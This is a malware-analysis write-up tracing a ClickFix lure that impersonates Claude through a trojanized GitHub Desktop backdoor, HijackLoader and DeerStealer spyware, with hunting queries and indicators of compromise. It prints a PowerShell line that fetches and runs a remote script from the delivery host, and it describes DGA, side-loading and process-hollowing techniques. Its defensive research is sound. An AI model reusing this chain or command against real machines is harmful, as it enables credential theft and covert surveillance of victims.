Research

12 min read

ClickFix to DeerStealer: Reversing a Trojanized GitHub Desktop

BreakdownMalware analysis

A fake Claude CAPTCHA plants a backdoor in a legitimately-signed GitHub Desktop, with a C2 that rotates every ten days. The rotation is a date-seeded algorithm, and reversing it exposed every domain the campaign will ever use. From the clipboard paste to the DeerStealer payload in memory, this article deconstructs the whole chain.

Key Takeaways

  • A fake Claude site, claudedevz[.]net, uses a ClickFix CAPTCHA to trick victims into running PowerShell, suspected as part of a “Claude bonus credits” scam.
  • The PowerShell installs a legitimate, signed copy of GitHub Desktop with an obfuscated backdoor injected into resources\app\main.js.
  • The backdoor beacons to a DGA C2 seeded by date, which can be reverse engineered to enumerate all past and future C2 domains.
  • The C2 serves a HijackLoader payload that abuses three more signed binaries — through DLL side-loading and process hollowing — to run DeerStealer (aka “XFiles Spyware”), a commodity spyware suite with hidden remote desktop, keylogging, and browser/credential theft.
ClickFix CAPTCHAclaudedevz[.]netPowerShell one-lineriex (IRM cocuktekstil[.]com/r)github.zipsigned GitHub DesktopTrojanized main.jsbackdoor + DGA C2C2 task.filesUltraViewer + HijackLoaderHollowed signed hostQihoo 360 DailyNews.exeDeerStealer / XFilesHVNC · keylog · stealer
The complete infection chain.

1. The ClickFix Lure: “Free Claude Credits”

claudedevz[.]net and claudedevz[.]net/bonus-credits impersonate Anthropic’s Claude behind a classic fake Cloudflare CAPTCHA, suggesting the broader campaign aligns with a Claude credits/usage scam.

claudedevz[.]net impersonating Claude behind a fake Cloudflare CAPTCHA.
claudedevz[.]net impersonating Claude behind a fake Cloudflare CAPTCHA.
The ClickFix steps: Win+R → Ctrl+V → Enter.
The ClickFix steps: Win+R → Ctrl+V → Enter.

The domain was registered and first seen on 09-30-2026. To “verify you’re human,” victims must press Win+R, Ctrl+V, and Enter — which copies and runs the following obfuscated PowerShell one-liner:

The obfuscated ClickFix PowerShell one-liner the lure tells the victim to run.

Deobfuscated, it invokes a remote script from cocuktekstil[.]com/r:

The deobfuscated one-liner: iex (Invoke-RestMethod 'cocuktekstil[.]com/r').
The first-stage script served from cocuktekstil[.]com/r.
The first-stage script served from cocuktekstil[.]com/r.

That script decodes a base64 payload into a randomly named .ps1 and runs it in a hidden PowerShell window:

The decoded dropper stage.
The decoded dropper stage.

This dropper downloads a “GitHub Desktop” package, github.zip, from cocuktekstil[.]com/g.php, extracts it to %USERPROFILE%\gynnnhjaya\, deletes the archive, and launches GitHubDesktop.exe through a scheduled task named taskvwawjg. The delivery domain was registered four days before the lure.

The extracted folder — a normal-looking GitHub Desktop install.
The extracted folder — a normal-looking GitHub Desktop install.

2. File-Date Triage: Finding the Imposter

Two things are obvious: Claude isn’t giving away any free credits, and this is malicious. But the next stage of the attack isn’t as clear. The download is a 183 MB ZIP that genuinely looks like GitHub Desktop — because, apart from one file, it is.

The downloaded GitHubDesktop.exe is a legitimate, GitHub-signed 3.5.7-beta2 build, and every other binary in the package is signed. There are almost 1,000 files total here, and the ZIP is too big to run in a sandbox. So we need a creative way to identify the imposter and continue tracing the malware.

No unsigned executables, no invalid signatures.
No unsigned executables, no invalid signatures.
GitHubDesktop.exe on VirusTotal — GitHub-signed, zero detections.
GitHubDesktop.exe on VirusTotal — GitHub-signed, zero detections.
At 183 MB, too large for ANY.RUN's 16 MB upload limit.
At 183 MB, too large for ANY.RUN's 16 MB upload limit.

Leadless hunting is a game of anomalies, and 9 times out of 10, if the attacker was here, they left something behind. Rather than search for something suspicious, we can search for something different.

Lo and behold — sorting the files by date was all it took.

Sorted by LastWriteTime: one file stands apart.
Sorted by LastWriteTime: one file stands apart.
Grouped by write date: 909 files on one day, one outlier.
Grouped by write date: 909 files on one day, one outlier.

909 of the 910 total files were last written on 03-12-2026 — as expected, the same day GitHub published the 3.5.7-beta2 pre-release. However, exactly one file was written over six months later, on 09-30-2026: resources\app\main.js.

As the insightful Mr. Kropp once said, “Coincidence? I think not.”

package.json confirms that main.js is the app’s entry point, which makes sense for an attacker to modify:

"main": "./main.js" — Electron's entry point.
"main": "./main.js" — Electron's entry point.

For the uninitiated, GitHub Desktop is an Electron app: a signed executable (Chromium and Node.js) that runs JavaScript. Electron loads its code from resources\, either from an app.asar archive or a plain app\ folder. GitHub Desktop happens to ship unpacked (asar: false), so nothing verifies main.js — free lunch for attackers!

LevelBlue SpiderLabs demonstrated this technique on GitHub Desktop in May 2026.

3. Inside the Backdoor: main.js

The weaponized main.js is an obfuscated copy of the original, with roughly 170 lines of backdoor code injected. It’s wrapped in an obfuscator.io-style string-array layer on top of a bytecode virtual machine, consistent with javascriptobfuscator.com’s VM Bytecode Protection.

The obfuscated string-array layer at the top of main.js.
The obfuscated string-array layer at the top of main.js.
The bytecode VM below it.
The bytecode VM below it.

For deobfuscation, Webcrack (an npm tool) reverses the string-array layer and unpacks the bundle:

Webcrack stripping the string-array layer.
Webcrack stripping the string-array layer.

That leaves us with about 26,000 lines of code, most of it the genuine app.

Keyword-grepping the file for dangerous JavaScript primitives like eval and child_process returned mostly legitimate code, except for two hits: an eval() and a child_process.exec(), just 28 lines apart — the backdoor.

Select-String -Path .\deobfuscated.js -Pattern 'eval\(|child_process' | Select-Object LineNumber, Line

LineNumber       Line
----------       -----------------------------------------
     10358       const C = eval(b.e);
     10386       require("child_process").exec(`"${W}"`, {

Here are lines 10,326–10,404 of the deobfuscated main.js, with comments added to explain backdoor functionality:

Lines 10,326-10,404 of the deobfuscated main.js: the injected backdoor, annotated.

Backdoor capabilities

In ~170 lines, the injected code turns a trusted app into a persistent backdoor that runs dynamic payloads from a C2:

  • Victim ID: stored in %APPDATA%\daemons.log as a random 8-character string and reused on every run.
  • Campaign tag: optionally read from a readme.txt next to the EXE (XXXX or XXXX-YYYY). This sample had none.
  • Beacon: POST /nlu/ to the C2 every 180 seconds with the victim ID, computer name, and username as JSON.
  • Remote JavaScript: task.e runs through eval() with full Node.js access.
  • Payload drop: task.files writes base64 files to %TEMP%\<timestamp-in-ms>\ and runs the last .exe.
  • Persistence: the Run key electron.app.GitHub Desktop starts it at every logon.
  • No real app: as written, the beacon loop never ends, so GitHub Desktop itself never starts.
  • Hidden C2: a bytecode virtual machine at the top of the file computes a rotating, date-seeded C2 domain (Section 4).

Only one engine on VirusTotal flags the trojanized file.

main.js on VirusTotal — 1/61 detections.
main.js on VirusTotal — 1/61 detections.

Detonating the backdoor behind FakeNet-NG exposed the first C2, edgnltatqptann[.]com, and the POST /nlu/ beacon:

The POST /nlu/ beacon check-in captured behind FakeNet-NG.
The beacon's check-in — the body is [victimID, COMPUTERNAME, USERNAME].

As expected, the Run key and the victim ID appeared:

Post-run: the electron.app.GitHub Desktop Run key and the victim ID gml7g2ur.
Post-run: the electron.app.GitHub Desktop Run key and the victim ID gml7g2ur.

4. Exposing the C2 Infrastructure

The first detonation beaconed to edgnltatqptann[.]com. But when I ran the same sample again a few days later, it beaconed to a new host, aeyibtnr[.]com — identical sample, identical execution, different domain. The C2 isn’t hardcoded.

Second run, same sample: a new host, aeyibtnr[.]com.
Second run, same sample: a new host, aeyibtnr[.]com.

It turns out the C2 domain comes from one part of the backdoor I hadn’t looked at closely — the bytecode virtual machine at the top of main.js:

The VM-protected block that builds the C2 hostname at runtime.
The VM-protected block that builds the C2 hostname at runtime.

Rather than reverse the VM by hand, I resorted to some creative dynamic analysis — I isolated the interpreter and ran it with a small harness under a fake clock, set to varying dates.

The output was a domain generation algorithm (DGA) seeded only by the date. Every 10 days, the malware independently rotates the C2 it points at — which explains why my follow-up run produced a new domain from the same sample.

Because the DGA seed is only the date, it’s trivial to enumerate every single past and future C2 domain:

The DGA enumerated: each 10-day window's domain, with registration status from passive DNS.
The DGA enumerated: each 10-day window's domain, with registration status from passive DNS.

Pairing the reverse-engineered domains with DNS lookups, this campaign appears new — as of today it has rotated only once.

More interestingly, the operator doesn’t pre-register domains — so a defender could get in front of the rotation and sinkhole the next window’s traffic by registering its domain first.

The upcoming C2 domain is not yet registered.
The upcoming C2 domain is not yet registered.

5. Capturing the C2’s Payload

To capture what the C2 serves without fully running the backdoor, I wrote a small read-only client that mimics the beacon and saves the response.

Immediately after check-in, the C2 returned a task.files set of ten files, which I captured to disk.

The read-only client capturing the live C2's 10-file task.files response.
The read-only client capturing the live C2's 10-file task.files response.
The ten served files on disk.
The ten served files on disk.

VirusTotal’s behavior analysis corroborated the same chain: Logic-Inspector.exe is dropped into the backdoor’s %TEMP%\<13-digit timestamp>\ task folder, then copied into a ProgramData folder.

Corroborating VT behavior: the C2 task writes Logic-Inspector.exe into C:\ProgramData\com_srv_micro_win64\.
Corroborating VT behavior: the C2 task writes Logic-Inspector.exe into C:\ProgramData\comsrvmicro_win64\.

Logic-Inspector.exe is a genuine, signed copy of UltraViewer, a legitimate remote-desktop tool. Surprisingly, the RMM is not the malware here. The malware is actually hidden in the two DLLs served alongside it — msvbvm60.dll and libHarfBuzzSharp.dll, both flagged as HijackLoader/Rugmi.

Logic-Inspector.exe is UltraViewer's signed UltraViewer_Desktop.exe — 0/69 on VirusTotal.
Logic-Inspector.exe is UltraViewer's signed UltraViewer_Desktop.exe — 0/69 on VirusTotal.

Logic-Inspector.exe is a Visual Basic 6 program, so at startup it loads the VB6 runtime msvbvm60.dll from its own folder — the perfect side-load target. The attacker drops a malicious msvbvm60.dll beside the signed EXE, which loads it without question: textbook DLL side-loading (T1574.002). That rogue DLL then pulls in the second, libHarfBuzzSharp.dll (§6 covers how the two split the work).

A signature check makes the split clear. UltraViewer and the two Microsoft runtime DLLs are validly signed — the two loaders aren’t. libHarfBuzzSharp.dll still carries a Microsoft third-party signature, but it no longer verifies — meaning the file was patched after signing. msvbvm60.dll isn’t signed at all.

Authenticode status of the served set — the two loaders are the only files with a missing or broken signature.
Authenticode status of the served set — the two loaders are the only files with a missing or broken signature.

The next stage is the same trick as main.js — leveraging a trusted, signed program to run malicious code.

6. The HijackLoader

AV engines label the DLLs “Rugmi,” but that’s a detection tag, not the family. The loader itself is HijackLoader — a commodity loader family (also tracked as IDAT Loader, GHOSTPULSE, or DOILoader) whose job is to unpack and run a final payload.

msvbvm60.dll on VirusTotal — 21/70, with ESET, Microsoft, Fortinet and others naming Rugmi.
msvbvm60.dll on VirusTotal — 21/70, with ESET, Microsoft, Fortinet and others naming Rugmi.
libHarfBuzzSharp.dll — 24/69 Rugmi, tagged invalid-signature (patched after signing).
libHarfBuzzSharp.dll — 24/69 Rugmi, tagged invalid-signature (patched after signing).

The two DLLs split the loader’s work. msvbvm60.dll is a patched copy of the genuine Visual Basic 6 runtime — the dependency UltraViewer actually needs: it reads buffer4.log off disk and loads the second DLL, libHarfBuzzSharp.dll, carrying its own ~25 KB encrypted overlay to continue the unpack. A loader that reads an on-disk blob + one carrying an embedded blob follows the general HijackLoader multi-component structure.

Two of the ten files served by the C2 were unique to this campaign — buffer4.log and entity_svc.meta — and absent from VirusTotal until I submitted them. buffer4.log came back flagged Trojan.HijackLoader, confirming the family.

buffer4.log is the encrypted payload. Its first 16 KB are ASCII filler to make it look like a log; the rest is a GHOSTPULSE container — 620 IDAT chunks behind the C6 A5 79 EA marker, encrypted with the family’s documented 4-byte-XOR-then-LZNT1 scheme. Decrypting this by hand is slow and version-specific, so instead I’ll let the loader decrypt itself in FlareVM and dump the result from memory.

The first bytes of buffer4.log: printable ASCII filler disguising the encrypted GHOSTPULSE payload that follows it.
The first bytes of buffer4.log: printable ASCII filler disguising the encrypted GHOSTPULSE payload that follows it.
buffer4.log on VirusTotal — flagged Trojan.HijackLoader.
buffer4.log on VirusTotal — flagged Trojan.HijackLoader.

When launched, Logic-Inspector.exe copies all ten files to C:\ProgramData\NODECheck\ (set by the loader’s config, varies between builds), relaunches from there, side-loads the two Rugmi DLLs, decrypts buffer4.log, and drops two more signed binaries.

DLL side-loaddecryptsstages todropsdropsprocess hollowingLogic-Inspector.exesigned UltraViewermsvbvm60.dll →libHarfBuzzSharp.dllHijackLoader / Rugmibuffer4.logGHOSTPULSE, encryptedProgramData/NODECheckVerPipeline.exesigned Qihoo 360 DailyNews.exememu.exesigned MEmu, stagedDeerStealer implant179.43.182[.]101:3333

The first binary dropped is a genuine, signed Qihoo 360 binary whose original filename is DailyNews.exe; the loader drops it as %TEMP%\VerPipeline.exe. The second is memu.exe, a signed MEmu component.

The loader then hollows VerPipeline.exe, replacing the signed process’s code in memory with a 32-bit implant — and that implant is DeerStealer. Running from inside the trusted, signed process, it beacons over raw TCP to 179.43.182[.]101:3333 (its control port); the config also declares a data port, 3334, for the HVNC/exfil channel.

Process Monitor captured key events.
Process Monitor captured key events.
hollows_hunter flags VerPipeline.exe as replaced — a hollowed process.
hollows_hunter flags VerPipeline.exe as replaced — a hollowed process.
The hollowed VerPipeline.exe beaconing to 179.43.182[.]101:3333.
The hollowed VerPipeline.exe beaconing to 179.43.182[.]101:3333.

All three host binaries are legitimately signed — UltraViewer (Logic-Inspector.exe), Qihoo 360 DailyNews.exe (dropped as VerPipeline.exe), and MEmu (memu.exe). Malicious code only ever exists unpacked in memory, or inside DLLs named to look like dependencies.

The hollowed host on VirusTotal — a signed Qihoo 360 DailyNews.exe, flagged by a single engine (trojan.shellter).
The hollowed host on VirusTotal — a signed Qihoo 360 DailyNews.exe, flagged by a single engine (trojan.shellter).

7. DeerStealer: Capabilities and Keylogging

To confirm the final payload, I dumped VerPipeline.exe’s memory and ran strings over the injected implant. Its C2 beacon configuration sat in cleartext, and the config fields match the XFiles Spyware suite — sold by the actor XFILES (@LuciferXfiles) and known in the research community as DeerStealer.

Here is the implant’s C2 beacon captured from the live process — the string fields are base64-encoded UTF-16:

A beacon captured from the live hollowed process; string fields are base64 UTF-16.

Decoding the base64 fields gives the host profile and the then-active window:

computer = FLARE-WIN11
user     = admin
window   = Jump List for Windows PowerShell
av       = Windows Defender(ON)
monitors = \\.\DISPLAY1 (1920x966 @ 64)

Implant Capabilities

Running FLOSS over the injected module recovers its strings; grouped by function below, they map cleanly onto the implant’s capabilities:

  • Hidden remote desktop (HVNC): controlport, dataport, and tunnelport, plus monitors, frame, and rate for streaming the screen.
  • Keylogger: key tokens such as <ESC>, <TAB>, and <WIN>, plus the active window title on each capture.
  • Browser and credential theft: cookies, logins, profiles, extensions, and saved passwords.
  • Encryption: ChaCha20 (expand 32-byte k) with a custom base62 alphabet for its traffic and stored files.
Recovered implant strings from FLOSS, grouped by suspected function.

The stolen data lands under C:\ProgramData\Dazekuw\, laid out by the implant’s own store config (recovered from memory):

The implant's own loot-store config, recovered from memory.
The implant's own store config: dd is the drop directory (C:\ProgramData\Dazekuw); kf ("Vavufo") is likely the 'keylog' file.
The implant writing its working file under C:\ProgramData\Dazekuw\.
The implant writing its working file under C:\ProgramData\Dazekuw\.
The writing process is still the signed "360 Daily News" image it hollowed.
The writing process is still the signed "360 Daily News" image it hollowed.

Dumping the implant from memory also recovered some of the infostealer’s captured data in cleartext:

→ a window-focus log (each focused window with its timestamp and process path)

The implant-captured window-focus log: title, timestamp and process path.
Implant-captured window-focus log: title, timestamp, and process path on each focus change.

→ the beacon stream, which tags every check-in with the active window title

Decoded window titles from the beacon stream, by frequency.
Decoded window titles from the beacon stream, by frequency.

Attribution & Open Items

Attribution. The whole chain up to the final stage is directly observed — the beacon, the reversed DGA, the served payload with on-disk hashes, the hollowing of the signed Qihoo 360 host, and the implant’s own cleartext keylog/HVNC config and :3333 beacon — and it matches documented ClickFix → HijackLoader → DeerStealer/XFiles tradecraft (actor @LuciferXfiles) with high confidence. However, this memory-only reconstruction matches no named DeerStealer sample by hash.

Implant persistence is the one thing this run didn’t show — almost certainly because the lab was sinkholed. The C2 payload also staged memu.exe as a suspected additional side-load host, but the malicious DLL that would likely arm it never made it past the sinkhole.

memu.exe probes for USERENV.dll / WTSAPI32.dll / SspiCli.dll beside it and gets NAME NOT FOUND for suspected side-load DLLs.
memu.exe probes for USERENV.dll / WTSAPI32.dll / SspiCli.dll beside it and gets NAME NOT FOUND for suspected side-load DLLs.
memu.exe on VirusTotal — a signed MEmu component, zero detections: a third clean, signed binary lined up for abuse.
memu.exe on VirusTotal — a signed MEmu component, zero detections: a third clean, signed binary lined up for abuse.

8. IOCs and Hunting

Hunting queries

# Stage-1 persistence (HKCU Run key) + the launcher task
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'electron.app.GitHub Desktop' -EA SilentlyContinue
Get-ScheduledTask -TaskName 'taskvwawjg' -EA SilentlyContinue

# Known malicious paths
@("$env:APPDATA\daemons.log", "$env:USERPROFILE\gynnnhjaya",
  'C:\ProgramData\NODECheck', "$env:APPDATA\NODECheck", 'C:\ProgramData\Dazekuw') |
  Where-Object { Test-Path $_ }

# C2 payload-drop folders: %TEMP%\<13-digit epoch-ms>\
Get-ChildItem $env:TEMP -Directory -EA SilentlyContinue | Where-Object Name -match '^\d{13}$'

Behavioral heuristics

  • GitHubDesktop.exe running outside its normal install location (%USERPROFILE%\gynnnhjaya\, Downloads, %TEMP%).
  • GitHubDesktop.exe launching an .exe from %TEMP%\<13 digits>\.
  • A POST /nlu/ JSON beacon, plus DNS lookups for the generated DGA domains.
  • A malicious USERENV.dll or WTSAPI32.dll dropped next to a MEmu binary in a user-writable folder.
  • Electron apps whose resources\app\*.js files don’t match the official build.

Network

Indicator Role
claudedevz[.]net Lure
hxxps://claudedevz[.]net/bonus-credits Lure
cocuktekstil[.]com Delivery
hxxps://cocuktekstil[.]com/r First-stage PowerShell
hxxps://cocuktekstil[.]com/g.php Serves github.zip
edgnltatqptann[.]com C2 (window 09-24-2026 to 10-03-2026)
aeyibtnr[.]com C2 (window 10-04-2026 to 10-13-2026)
anwhinweudee[.]com C2 (window 10-14-2026 to 10-23-2026)
hxxps://<generated>[.]com/nlu/ Beacon (POST, every 180 s)
179.43.182[.]101:3333 (observed) / :3334 (from config) DeerStealer C2 — control / data, raw TCP

Files

File SHA-256 MD5
github.zip 5ab3080efc9f1563677b49e1c36b1937a38e4bee2f1c259d8da79c0e06ab1045 1e750dd4c3d6a34a1ba0dddd4fa34772
resources\app\main.js 416242568b18fd669338b6da2f8d3e084160bf6b2b91ac12ef3f3e8434b69e53 84cadd2a2f609334d7fb930ccc46ee4b

Payload Bundle

File SHA-256 Role
Logic-Inspector.exe fe0e61de04c0b827fcf6e041158e443f77439d257ced4e21a6d16bdd3d52d55b Signed UltraViewer (side-load host)
msvbvm60.dll a59aada05cf34a6d22a3ebdd0d0151b06459710450c0a888f7e4ff98416ab160 HijackLoader (AV: Rugmi)
libHarfBuzzSharp.dll 7428989410a529c89ea64e8316ba0ccfadf60fb17640ce3839c18591149defba HijackLoader (AV: Rugmi)
buffer4.log 317d2aa925a5110ee783a4cf35092574cb7f67175822790d4dd30a59d6a4c663 GHOSTPULSE-encrypted payload
VerPipeline.exe d7e56ec27a3f8ab8c6b81cb146ac41c1e14ef8317dc8680610a9cc906e49d7b2 Signed Qihoo 360 DailyNews.exe (hollowed host)
memu.exe 6df5e87bfe261f38a5810313c8221c39b5b15206ce672e1a87167edcf82f43ba Signed MEmu component (staged host)

Host Artifacts

Artifact Meaning
Scheduled task taskvwawjg Launches GitHubDesktop.exe
%USERPROFILE%\gynnnhjaya\ Extraction folder
HKCU\...\Run value electron.app.GitHub Desktop Persistence (Stage 1)
%APPDATA%\daemons.log Victim ID
%TEMP%\<13-digit number>\ C2 file drop folder
C:\ProgramData\NODECheck\ and %APPDATA%\NODECheck\ HijackLoader staging
C:\ProgramData\Dazekuw\ DeerStealer working/stolen-data folder
%TEMP%\VerPipeline.exe Hollowed signed 360 host running the implant

© 2026 Blake White